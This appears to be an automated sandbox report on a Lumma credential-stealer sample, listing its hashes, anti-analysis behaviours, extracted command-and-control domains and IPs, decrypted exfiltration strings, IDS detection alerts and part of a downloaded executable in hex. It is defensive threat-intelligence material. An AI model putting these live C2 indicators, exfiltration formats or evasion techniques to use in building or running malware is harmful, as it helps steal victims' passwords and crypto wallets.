Edit tour

Windows Analysis Report
bzzF5OFbVi.exe

Overview

General Information

Sample name:	bzzF5OFbVi.exe renamed because original name is a hash value
Original sample name:	00fd88b1eada904e06f23909f142caf6.exe
Analysis ID:	1582702
MD5:	00fd88b1eada904e06f23909f142caf6
SHA1:	69737b7a01bee4d13924be916482e14ec780bd9f
SHA256:	3639435bd811a8f355795a3cef8c0960d6e363efd692a84db1f8e87a3244389a
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

bzzF5OFbVi.exe (PID: 6536 cmdline: "C:\Users\user\Desktop\bzzF5OFbVi.exe" MD5: 00FD88B1EADA904E06F23909F142CAF6)

chrome.exe (PID: 5864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1992,i,11309799112895090289,4020689570377967000,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=868 --field-trial-handle=2004,i,15948486807748839215,8579350651910807067,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["fancywaxxers.shop", "cloudewahsj.shop", "noisycuttej.shop", "abruptyopsn.shop", "framekgirus.shop", "wholersorie.shop", "rabidcowse.shop", "nearycrepso.shop", "tirepublicerj.shop"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2142166412.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bzzF5OFbVi.exe PID: 6536	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bzzF5OFbVi.exe PID: 6536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bzzF5OFbVi.exe PID: 6536	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bzzF5OFbVi.exe PID: 6536	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:27.049064+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:27.918205+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:29.223799+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.64.1	443	TCP
2024-12-31T09:48:32.728502+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.64.1	443	TCP
2024-12-31T09:48:34.528895+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.64.1	443	TCP
2024-12-31T09:48:36.152024+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.64.1	443	TCP
2024-12-31T09:48:37.501890+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.64.1	443	TCP
2024-12-31T09:48:40.688889+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:27.433251+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:28.375127+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:41.154632+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49714	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:27.433251+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:28.375127+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.64.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:27.049064+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:27.918205+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:29.223799+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.21.64.1	443	TCP
2024-12-31T09:48:32.728502+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	104.21.64.1	443	TCP
2024-12-31T09:48:34.528895+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.64.1	443	TCP
2024-12-31T09:48:36.152024+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	104.21.64.1	443	TCP
2024-12-31T09:48:37.501890+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.64.1	443	TCP
2024-12-31T09:48:40.688889+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49714	104.21.64.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:41.874208+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49716	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:26.389002+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.5	63174	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:48:36.596268+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.64.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: bzzF5OFbVi.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop/apiCocW	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apia	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/s	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apiMicrosoft	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/M	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/n	Avira URL Cloud: Label: malware
Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/a	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: bzzF5OFbVi.exe.6536.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["fancywaxxers.shop", "cloudewahsj.shop", "noisycuttej.shop", "abruptyopsn.shop", "framekgirus.shop", "wholersorie.shop", "rabidcowse.shop", "nearycrepso.shop", "tirepublicerj.shop"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: bzzF5OFbVi.exe	Virustotal: Detection: 54%			Perma Link
Source: bzzF5OFbVi.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: bzzF5OFbVi.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fancywaxxers.shop
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2388121455.0000000000041000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: bzzF5OFbVi.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49714 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: bzzF5OFbVi.exe, 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49705 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49709 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49704 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.5:63174 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49707 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49710 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49706 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49708 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49714 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49714 -> 104.21.64.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 31 Dec 2024 08:48:40 GMTContent-Type: application/octet-streamContent-Length: 2880000Last-Modified: Tue, 31 Dec 2024 08:35:23 GMTConnection: keep-aliveETag: "6773accb-2bf200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 9e 9c 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 67 6d 62 68 6d 79 73 00 80 2b 00 00 a0 00 00 00 64 2b 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 74 79 75 78 75 74 77 00 20 00 00 00 20 2c 00 00 04 00 00 00 cc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 d0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49716 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

